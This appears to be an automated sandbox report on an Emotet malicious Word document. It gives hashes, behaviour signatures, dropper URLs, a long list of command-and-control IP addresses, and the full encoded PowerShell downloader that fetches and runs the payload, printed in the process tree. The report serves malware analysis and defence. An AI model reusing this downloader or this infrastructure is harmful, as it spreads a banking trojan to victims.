emotet | 3f28d23c6650e22fa69d824efc5153fd46fecbbdbd236ae7b4ee15bae4ef556d

Analysis

max time kernel
136s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
21/10/2020, 08:06

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General

Target
emotet_e2_3f28d23c6650e22fa69d824efc5153fd46fecbbdbd236ae7b4ee15bae4ef556d_2020-10-21__080409849784._doc.doc
Size 176KB
Sample201021-xea9fa6cba
SHA256 3f28d23c6650e22fa69d824efc5153fd46fecbbdbd236ae7b4ee15bae4ef556d
MD5 db2ca41b47153d1833f9d5d8ddb5b94b
SHA1 86f775754c9c27dd688f46ab7aa9253e60632683
SHA512 26d74de44dcf5dbe949594f887270fc299f65a5c0b1c65aa1fba151ea8a8fd96b449825a9be6bcf533358837ca7b6362742124fa9029e12fb74a751c7bbb1e7a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://sangbadjamin.com/move/r/
exe.dropper
https://asimglobaltraders.com/baby-rottweiler/duDm64O/
exe.dropper
http://sell.smartcrowd.ae/wp-admin/CLs6YFp/
exe.dropper
https://chromadiverse.com/wp-content/OzOlf/
exe.dropper
http://dirads.com/wp-content/Bro/
exe.dropper
http://evbshipping.com/10700k-overclock/I/
exe.dropper
http://bestpaylesstruckdrivingschool.com/cgi-bin/GWY0j/
exe.dropper
http://pioneerdrivered.com/cgi-bin/c7lwrb/

Extracted

Family

emotet

Botnet

Epoch2

75.188.96.231:80
72.10.36.104:8080
167.114.153.111:8080
72.249.144.95:8080
80.241.255.202:8080
71.72.196.159:80
164.160.45.41:8080
203.153.216.189:7080
185.94.252.104:443
142.112.10.95:20
61.19.246.238:443
220.245.198.194:80
37.139.21.175:8080
108.46.29.236:80
209.54.13.14:80
87.106.136.232:8080
87.106.139.101:8080
176.111.60.55:8080
130.0.132.242:80
94.200.114.161:80
47.144.21.12:443
139.162.60.124:8080
123.176.25.234:80
75.139.38.211:80
94.23.237.171:443
202.141.243.254:443
190.108.228.27:443
104.131.11.150:443
121.7.31.214:80
113.61.66.94:80
118.83.154.64:443
62.30.7.67:443
172.104.97.173:8080
68.252.26.78:80
89.216.122.92:80
46.105.131.79:8080
37.187.72.193:8080
124.41.215.226:80
91.211.88.52:7080
139.162.108.71:8080
72.143.73.234:443
61.33.119.226:443
89.121.205.18:80
109.74.5.95:8080
79.98.24.39:8080
78.24.219.147:8080
5.39.91.110:7080
62.75.141.82:80
93.147.212.206:80
209.141.54.221:7080
24.230.141.169:80
104.131.123.136:443
50.245.107.73:443
78.188.106.53:443
103.86.49.11:8080
95.9.5.93:80
49.50.209.131:80
83.110.223.58:443
186.74.215.34:80
95.213.236.64:8080
79.137.83.50:443
121.124.124.40:7080
47.36.140.164:80
153.164.70.236:80
71.15.245.148:8080
24.137.76.62:80
208.180.207.205:80
74.214.230.200:80
188.219.31.12:80
139.99.158.11:443
66.76.12.94:8080
172.91.208.86:80
162.241.140.129:8080
168.235.67.138:7080
216.139.123.119:80
137.59.187.107:8080
139.59.60.244:8080
190.240.194.77:443
76.171.227.238:80
181.126.74.180:80
140.186.212.146:80
110.145.77.103:80
69.206.132.149:80
157.245.99.39:8080
98.174.164.72:80
104.131.44.150:8080
190.29.166.0:80
97.82.79.83:80
194.4.58.192:7080
120.150.218.241:443
96.245.227.43:80
218.147.193.146:80
110.142.236.207:80
24.179.13.119:80
49.3.224.99:8080
94.230.70.6:80
194.187.133.160:443
50.35.17.13:80
50.91.114.38:80
174.106.122.139:80
91.146.156.228:80
120.150.60.189:80
123.142.37.166:80
5.196.108.189:8080
74.208.45.104:8080
174.45.13.118:80
173.63.222.65:80
162.241.242.173:8080
76.175.162.101:80
184.180.181.202:80
75.143.247.51:80
102.182.93.220:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	1688	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2072-11-0x00000000022B0000-0x00000000022C9000-memory.dmp	emotet
behavioral2/memory/2072-12-0x00000000022D0000-0x00000000022E8000-memory.dmp	emotet
behavioral2/memory/3036-15-0x00000000005F0000-0x0000000000609000-memory.dmp	emotet
behavioral2/memory/3036-16-0x0000000002000000-0x0000000002018000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	380	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2072	Iw0cldar_.exe
3036	rastlsext.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\EditBufferTestHook\rastlsext.exe	Iw0cldar_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1052	WINWORD.EXE
1052	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
380	POwersheLL.exe
380	POwersheLL.exe
380	POwersheLL.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe
3036	rastlsext.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	380	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
1052	WINWORD.EXE
2072	Iw0cldar_.exe
3036	rastlsext.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 3036	2072	Iw0cldar_.exe	82
PID 2072 wrote to memory of 3036	2072	Iw0cldar_.exe	82
PID 2072 wrote to memory of 3036	2072	Iw0cldar_.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3f28d23c6650e22fa69d824efc5153fd46fecbbdbd236ae7b4ee15bae4ef556d_2020-10-21__080409849784._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1052

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgACQAMgBsADEAeAAgACAAPQBbAFQAeQBwAGUAXQAoACIAewAwAH0AewA1AH0AewAxAH0AewAyAH0AewAzAH0AewA0AH0AIgAgAC0AZgAgACcAcwAnACwAJwBUAGUATQAnACwAJwAuAEkAJwAsACcATwAuAEQAaQBSAEUAYwB0AG8AJwAsACcAcgB5ACcALAAnAHkAcwAnACkAOwAgACQAcABDAEoATgAyACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMwB9AHsANQB9ACIAIAAtAGYAIAAnAFMAWQBTAFQAJwAsACcAZQBtAC4ATgBlAHQALgAnACwAJwBTAEUAcgB2AGkAYwBlACcALAAnAE8AaQBuAFQAJwAsACcAcAAnACwAJwBNAGEAbgBhAGcAZQBSACcAKQAgACAAOwAgACAAJABNAHQAcgBvADEAZwA4AD0AKAAoACcAWgBmACcAKwAnAGgAawAnACkAKwAnAGwAJwArACcANQB3ACcAKQA7ACQAWAB0AGMANgBjADQAZQA9ACQASgB6AGcAawBfAHgAcwAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAVwA5AHcAZwBjAG0ANAA7ACQASgBiAG4AdABtADIAXwA9ACgAKAAnAFIAdAB2AHYAJwArACcAXwAnACkAKwAnAGEAdwAnACkAOwAgACgAIABHAEUAdAAtAEkAdABlAG0AIAAoACIAVgBBACIAKwAiAFIASQAiACsAIgBhAEIAbABlADoAMgAiACsAIgBsADEAWAAiACkAIAApAC4AdgBhAGwAdQBlADoAOgAiAEMAYABSAGUAYQBUAGUAZABgAGkAUgBFAGAAQwB0AE8AYABSAFkAIgAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACgAJwBHACcAKwAnAGcAJwArACcASABMAHYAMwAnACkAKwAnAHUAMgAnACsAKAAnAGcAJwArACcAbABHAGcASABWACcAKQArACgAJwA1AG4AcAAnACsAJwBvACcAKQArACcAdAAnACsAKAAnAGcARwAnACsAJwBnAEgAJwApACkALQBSAEUAUABMAEEAQwBlACAAKAAnAEcAJwArACcAZwBIACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAEYAYQBiAHoAbQA4AGIAPQAoACcAQgAnACsAJwA0AHMAJwArACgAJwAzAHUAMgAnACsAJwBnACcAKQApADsAIAAgACgAIAAgAGcARQB0AC0AdgBhAFIASQBhAGIAbABFACAAIAAoACIAUABDAEoAIgArACIAbgAyACIAKQAgACAALQBWAGEATAApADoAOgAiAFMARQBDAHUAcgBgAEkAYABUAFkAcABSAG8AdABvAGAAQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEoANQA4AGoAcgBkAGEAPQAoACgAJwBTACcAKwAnADkAdwBxAGMAOAAnACkAKwAnAHoAJwApADsAJABXAGcANgBxAGEAcAAyACAAPQAgACgAJwBJAHcAJwArACcAMABjACcAKwAoACcAbAAnACsAJwBkAGEAJwApACsAJwByAF8AJwApADsAJABNAHQAaQBoAHoAOQBtAD0AKAAoACcARwBmACcAKwAnAGUAbQB1AGUAJwApACsAJwBfACcAKQA7ACQAWgBwAGsAdgA0AGYAZAA9ACgAJwBMADAAJwArACgAJwAzACcAKwAnAGUAbQBqADQAJwApACkAOwAkAEQAcgBvAHcANgAyAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAcABTACcAKwAoACcAQQBMACcAKwAnAHYAMwB1ADIAJwApACsAJwBnAGwAJwArACgAJwBwAFMAQQAnACsAJwBWACcAKQArACgAJwA1AG4AcAAnACsAJwBvAHQAJwArACcAZwBwAFMAQQAnACkAKQAuACIAcgBFAHAAbABgAEEAYABjAEUAIgAoACgAJwBwAFMAJwArACcAQQAnACkALAAnAFwAJwApACkAKwAkAFcAZwA2AHEAYQBwADIAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABIADAAdwBzAHAAcwBpAD0AKAAoACcARAAnACsAJwBlAHkAdAAnACkAKwAoACcAMQAnACsAJwBfAGMAJwApACkAOwAkAEcAdABzAHMANwA0AGYAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAegAzAG4AdQB1AHgAPQAoACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoALwAnACsAJwAvAHMAJwApACsAKAAnAGEAJwArACcAbgBnAGIAYQAnACkAKwAnAGQAagAnACsAKAAnAGEAJwArACcAbQBpAG4AJwArACcALgBjAG8AJwApACsAKAAnAG0ALwBtACcAKwAnAG8AdgBlAC8AcgAvACcAKQArACgAJwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAYQBzACcAKwAnAGkAJwArACcAbQBnAGwAJwApACsAKAAnAG8AYgBhACcAKwAnAGwAJwApACsAKAAnAHQAcgBhAGQAZQAnACsAJwByAHMALgAnACkAKwAoACcAYwBvAG0ALwBiACcAKwAnAGEAYgAnACsAJwB5AC0AcgAnACsAJwBvAHQAdAAnACsAJwB3AGUAaQBsACcAKwAnAGUAJwArACcAcgAvAGQAJwApACsAKAAnAHUARABtACcAKwAnADYANAAnACkAKwAoACcATwAvACcAKwAnACoAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AJwArACcAcwBlAGwAbAAuACcAKwAnAHMAJwArACcAbQBhAHIAdABjACcAKQArACgAJwByACcAKwAnAG8AdwAnACkAKwAoACcAZAAuAGEAZQAvACcAKwAnAHcAJwApACsAKAAnAHAALQAnACsAJwBhAGQAbQBpAG4AJwArACcALwBDAEwAcwA2ACcAKQArACgAJwBZAEYAJwArACcAcAAvACcAKQArACcAKgAnACsAKAAnAGgAdAAnACsAJwB0AHAAcwAnACkAKwAnADoALwAnACsAKAAnAC8AYwBoAHIAbwBtACcAKwAnAGEAZAAnACsAJwBpACcAKQArACgAJwB2AGUAcgAnACsAJwBzAGUALgAnACkAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwBwAC0AYwAnACsAJwBvACcAKQArACcAbgAnACsAKAAnAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAoACcATwB6ACcAKwAnAE8AbAAnACkAKwAnAGYAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0AHQAcAA6AC8ALwBkACcAKwAnAGkAJwArACcAcgAnACkAKwAoACcAYQBkAHMALgBjACcAKwAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQBjAG8AbgB0AGUAJwArACcAbgB0AC8AQgAnACsAJwByAG8AJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwBlACcAKwAnAHYAYgAnACsAJwBzAGgAaQBwACcAKQArACgAJwBwAGkAbgAnACsAJwBnAC4AJwApACsAKAAnAGMAbwBtAC8AJwArACcAMQAwACcAKQArACgAJwA3ADAAJwArACcAMAAnACsAJwBrAC0AbwB2AGUAcgAnACkAKwAoACcAYwBsACcAKwAnAG8AYwAnACsAJwBrAC8ASQAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAvAC8AYgAnACkAKwAoACcAZQBzACcAKwAnAHQAJwApACsAKAAnAHAAYQAnACsAJwB5AGwAZQBzACcAKQArACcAcwAnACsAKAAnAHQAJwArACcAcgB1AGMAawBkAHIAJwApACsAKAAnAGkAdgAnACsAJwBpAG4AJwApACsAKAAnAGcAcwAnACsAJwBjACcAKwAnAGgAbwBvAGwALgBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAnAGMAZwAnACsAJwBpACcAKwAoACcALQAnACsAJwBiAGkAJwApACsAJwBuACcAKwAnAC8ARwAnACsAJwBXAFkAJwArACgAJwAwAGoAJwArACcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHAAaQBvACcAKQArACcAbgBlACcAKwAnAGUAJwArACgAJwByAGQAJwArACcAcgBpACcAKQArACgAJwB2ACcAKwAnAGUAcgAnACkAKwAoACcAZQBkACcAKwAnAC4AJwApACsAKAAnAGMAbwBtAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAJwApACsAKAAnAG4ALwBjACcAKwAnADcAbAB3ACcAKQArACcAcgBiACcAKwAnAC8AJwApAC4AIgBzAHAATABgAEkAdAAiACgAJABCADcAZQB3AGcAbwAxACAAKwAgACQAWAB0AGMANgBjADQAZQAgACsAIAAkAEwAdQA0ADEAZgBoAHYAKQA7ACQASgB5AGMAdgB0AHMAYQA9ACgAKAAnAEUAdwByAHkAJwArACcAcgB2ACcAKQArACcAOQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFIAMgBuAGQANABuAHoAIABpAG4AIAAkAFQAegAzAG4AdQB1AHgAKQB7AHQAcgB5AHsAJABHAHQAcwBzADcANABmAC4AIgBkAE8AVwBgAE4AYABsAG8AYQBkAEYASQBgAGwAZQAiACgAJABSADIAbgBkADQAbgB6ACwAIAAkAEQAcgBvAHcANgAyAGgAKQA7ACQAWAAwAGMAcQBmAGgAawA9ACgAJwBHACcAKwAoACcAagAnACsAJwBjADYAMQBzAHUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARAByAG8AdwA2ADIAaAApAC4AIgBsAGUATgBHAGAAVABoACIAIAAtAGcAZQAgADQAOAAyADIANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAaQAnACsAKAAnAG4AJwArACcAMwAyAF8AUAByACcAKQArACcAbwAnACsAKAAnAGMAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwBSAGUAYABBAFQAZQAiACgAJABEAHIAbwB3ADYAMgBoACkAOwAkAFIAZwBjADgAcgBrAHUAPQAoACgAJwBRACcAKwAnAHAAdgAnACkAKwAnADkAYgAnACsAJwA2ADYAJwApADsAYgByAGUAYQBrADsAJABJADUAZwBmAGYANQBmAD0AKAAoACcARgAnACsAJwBsAGsAcQBmACcAKQArACcAMgB6ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBmADQAbwA3AHQAcAA9ACgAJwBOACcAKwAoACcAdgAnACsAJwBzADMAMQAwAGkAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:380

C:\Users\Admin\Lv3u2gl\V5npotg\Iw0cldar_.exe
C:\Users\Admin\Lv3u2gl\V5npotg\Iw0cldar_.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\SysWOW64\EditBufferTestHook\rastlsext.exe
  "C:\Windows\SysWOW64\EditBufferTestHook\rastlsext.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/380-6-0x00007FFEEB0C0000-0x00007FFEEBAAC000-memory.dmp

Download

memory/380-8-0x00000274AEE20000-0x00000274AEE21000-memory.dmp

Download

memory/380-7-0x00000274AEC70000-0x00000274AEC71000-memory.dmp

Download

memory/1052-4-0x000001C7A65BB000-0x000001C7A65C4000-memory.dmp

Download

memory/1052-5-0x000001C7A66BD000-0x000001C7A66BF000-memory.dmp

Download

memory/1052-0-0x00007FFEF8CA0000-0x00007FFEF9366000-memory.dmp

Download

memory/1052-3-0x000001C7A65BB000-0x000001C7A65C4000-memory.dmp

Download

memory/1052-2-0x000001C7A6540000-0x000001C7A6543000-memory.dmp

Download

memory/1052-1-0x000001C7A6540000-0x000001C7A6543000-memory.dmp

Download

memory/2072-11-0x00000000022B0000-0x00000000022C9000-memory.dmp

Download

memory/2072-12-0x00000000022D0000-0x00000000022E8000-memory.dmp

Download

memory/3036-15-0x00000000005F0000-0x0000000000609000-memory.dmp

Download

memory/3036-16-0x0000000002000000-0x0000000002018000-memory.dmp

Download